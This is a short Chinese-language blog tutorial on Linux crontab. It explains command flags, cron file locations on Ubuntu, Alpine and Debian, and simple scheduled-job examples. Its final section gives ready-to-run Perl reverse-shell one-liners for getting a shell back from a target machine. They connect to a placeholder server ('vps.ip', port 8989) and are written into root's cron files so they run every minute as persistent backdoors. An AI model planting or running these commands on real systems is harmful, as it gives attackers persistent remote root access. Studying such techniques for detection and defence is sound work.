【奇技淫巧】linux 定时任务 crontab 反弹 shell
日期:2018-11-26 13:47:34
介绍:如何使用定时任务来反弹 shell?
0x01、 基本命令
参数
-e:编辑该用户的计时器设置;
-l:列出该用户的计时器设置;
-r:删除该用户的计时器设置;
-u <用户名称>:指定要设定计时器的用户名称。
MAC 直接使用 crontab -e 无效:
编辑 username 的 crontab
$ sudo crontab -u username -e
列出 username 的 crontab,查看编辑后的数据
$ crontab -u username -l
0x02、具体信息
2.1 /etc/crontab 文件
该文件负责安排由系统管理员制定的维护系统以及其他任务的crontab。

minute hour day month week command
对应 分 时 日 月 周
2.2 如何开启服务
service cron start
或者
/etc/init.d/cron {start|stop|status|restart|reload|force-reload}
2.3 配置文件
系统任务调度文件:/etc/crontab
用户 XXX 调度文件:
ubuntu 下路径
/var/spool/cron/crontabs/xxx
Alpine 下路径
/etc/cron.d/xxx
debian 下的路径(xxx 可以是任意东西)
/etc/cron.d/xxx
或者
/var/spool/cron/crontabs/xxx
但是写这个路径的时候,文件内不能加用户名。
ubuntu 直接修改用户的调度文件后,可使用 crontab
相关命令直接查看、编辑。
Alpine 修改了文件,crontab
查不到。。
0x03、具体实例
每天的六点输出信息
0 6 * * * echo "Good morning." >> /tmp/test.txt
每晚的21:30重启smb
30 21 * * * /etc/init.d/smb restart
0x04、反弹 shell
Alpine 系统:将以下内容写入 /etc/cron.d/root
即可。
*/1 * * * * root perl -e 'use Socket;$i="vps.ip";$p=8989;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##
ubuntu 系统:写入的文件是/var/spool/cron/crontabs/root
需要注意的是,ubuntu 不需要在5个*后面加 root。
*/1 * * * * perl -e 'use Socket;$i="vps.ip";$p=8989;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
直接写入文件以后,使用 crontab -l 可以看到加上的任务。